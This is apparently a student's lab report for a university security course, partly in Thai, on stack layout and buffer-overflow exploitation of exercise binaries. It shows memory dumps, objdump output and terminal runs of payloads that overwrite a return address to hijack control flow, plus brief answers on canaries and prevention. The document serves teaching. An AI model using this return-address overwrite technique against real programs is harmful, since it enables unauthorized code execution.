

Activity IX: Buffer Overflow

By Saenyakorn Siangsanoh 6232035721

สามารถดู Resource เต็ม ๆ ได้ที่ [2110413-COMP-SECURITY Activity 9](#)

Table of Contents

- [Environment](#)
- [1 Stack Layout](#)
 - [Answer](#)
- [2 Stack Smashing](#)
 - [Answer](#)
- [3 Challenging](#)
 - [Answer](#)
- [4](#)
 - [Answer](#)
- [5](#)
 - [5.1](#)
 - [Answer](#)
 - [5.2](#)
 - [Answer](#)

Environment

AMI: Ubuntu Server 22.04 TLS amd64 Instant Type: t2.micro GCC version: gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0

1 Stack Layout

Draw a stack layout of your program. Start from the address of **&buf[0]** and stop at **&i+8**. Specify symbol and content (if possible). Make sure that you have identified argument (i), and return address.

Please circle the result from the program above and write down the associated symbol. (Identify return address, buffer, local variables.)

Answer

```

ubuntu@ip-172-31-17-4:~$ ./ex1
&main = 0x0000560b8f7a6189
&myfunction = 0x0000560b8f7a620b
&&ret_addr = 0x0000560b8f7a61f5
&i = 0x00007ffc30fba67c
sizeof(pointer) is 8
&buf[0] = 0x00007ffc30fba680
0x00007ffc30fba6bc: 0x00
0x00007ffc30fba6bb: 0xb6      0x00007ffc30fba6ba: 0xa4      0x00007ffc30fba6b9: 0xdd      0x00007ffc30fba6b8: 0x90
0x00007ffc30fba6b7: 0x00      0x00007ffc30fba6b6: 0x00      0x00007ffc30fba6b5: 0x00      0x00007ffc30fba6b4: 0x00
0x00007ffc30fba6b3: 0x00      0x00007ffc30fba6b2: 0x00      0x00007ffc30fba6b1: 0x00      0x00007ffc30fba6b0: 0x01
0x00007ffc30fba6af: 0x00      0x00007ffc30fba6ae: 0x00      0x00007ffc30fba6ad: 0x56      0x00007ffc30fba6ac: 0x0b
0x00007ffc30fba6ab: 0x8f      0x00007ffc30fba6aa: 0x7a      0x00007ffc30fba6a9: 0x61      Ret Addr 0x00007ffc30fba6a8: 0xf5
0x00007ffc30fba6a7: 0x00      0x00007ffc30fba6a6: 0x00      0x00007ffc30fba6a5: 0x7f      0x00007ffc30fba6a4: 0xfc
0x00007ffc30fba6a3: 0x30      0x00007ffc30fba6a2: 0xfb      0x00007ffc30fba6a1: 0xa6      RBP      0x00007ffc30fba6a0: 0xb0
0x00007ffc30fba69f: 0x00      0x00007ffc30fba69e: 0x00      0x00007ffc30fba69d: 0x00      0x00007ffc30fba69c: 0x00
0x00007ffc30fba69b: 0x00      0x00007ffc30fba69a: 0x00      0x00007ffc30fba699: 0x00      0x00007ffc30fba698: 0x00
0x00007ffc30fba697: 0x00      0x00007ffc30fba696: 0x00      0x00007ffc30fba695: 0x00      0x00007ffc30fba694: 0x00
0x00007ffc30fba693: 0x00      0x00007ffc30fba692: 0x38      0x00007ffc30fba691: 0x37      0x00007ffc30fba690: 0x36
0x00007ffc30fba68f: 0x35      0x00007ffc30fba68e: 0x34      0x00007ffc30fba68d: 0x33      0x00007ffc30fba68c: 0x32
0x00007ffc30fba68b: 0x31      0x00007ffc30fba68a: 0x30      0x00007ffc30fba689: 0x39      0x00007ffc30fba688: 0x38
0x00007ffc30fba687: 0x37      0x00007ffc30fba686: 0x36      0x00007ffc30fba685: 0x35      0x00007ffc30fba684: 0x34
0x00007ffc30fba683: 0x33      0x00007ffc30fba682: 0x32      0x00007ffc30fba681: 0x31      Buffer
... end

```

2 Stack Smashing

Answer

```

ubuntu@ip-172-31-17-4:~$ objdump -d ex2 |grep greeting
00000000004011b6 <greeting>:
    4013af:    48 8d 05 00 fe ff ff    lea    -0x200(%rip),%rax      # 4011b6 <greeting>
    4013d2:    e8 df fd ff ff        call   4011b6 <greeting>
ubuntu@ip-172-31-17-4:~$ python3 wrapper.py
exec ./ex2 with buff b'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\x11@'
&main = 0x401360
&myfunction = 0x401258
&greeting = 0x4011b6
Welcome to exercise II
I hope you enjoy it

&i = 0x7ffc5272bd1c
&buf[0] = 0x7ffc5272bd20
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx@
Welcome to exercise II
I hope you enjoy it

Segmentation fault (core dumped)

```

3 Challenging

Answer

```
ubuntu@ip-172-31-17-4:~$ python3 attack.py
Offset (40?):40
Target (shell) address (eg. 5647740e61b5): 401236
Buff: b'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx6\x12@'

YOU ARE
HACKED

This is just for demonstration.

*** Connection closed by remote host ***
```

4

From exercise 2 and 3, can you explode the buffer-overflow attack even when the canary-style protection is activated? Please explain your analysis

Answer

ทำได้ สมมติว่าเรารู้ค่า canary เราก็ overflow ส่วนที่เป็น canary ด้วย canary ที่เรารู้ แล้วก็เปลี่ยน return address ตามใจได้เหมือนเดิม

5

Now you have mastered a type buffer-overflow attack. Please answer the following questions.

5.1

Most viruses and worms use buffer overflow as a basis for its attack. Do you think that exploiting buffer-overflow attacks is trivial? Please justify your answer. (i.e. Is it trivial to write a program to exploit buffer-overflow attacks in a server?)

Answer

คิดว่าการโจมตีด้วย buffer overflow ไม่ใช่เรื่องเล็กน้อย เพราะว่า buffer overflow อาจจะ leak data บางอย่างได้ หรือ อาจจะทำให้การทำงานของโปรแกรมเราผิดปกติ หรือ server เราอาจจะโดนติดตั้ง โปรแกรมที่อันตรายได้ด้วย buffer

overflow

5.2

As a programmer, is it possible to avoid buffer overflow in your program (write secure code that is not vulnerable to such attack)? Explain your strategy.

Answer

เป็นไปได้ยากมาก ในภาษา low-level เช่น C, ASM เราต้องมาคอยระวังเรื่องขนาดของ Buffer ตลอดเวลา ซึ่งอาจจะมี human error บ้าง ส่วนภาษาระดับสูงก็ไม่สามารถการันตีได้ว่าจะไม่เกิด Buffer overflow เพราะภาษาระดับ high-level ก็ต้องแปลงกลับมาเป็น low-level ก่อนอยู่ดี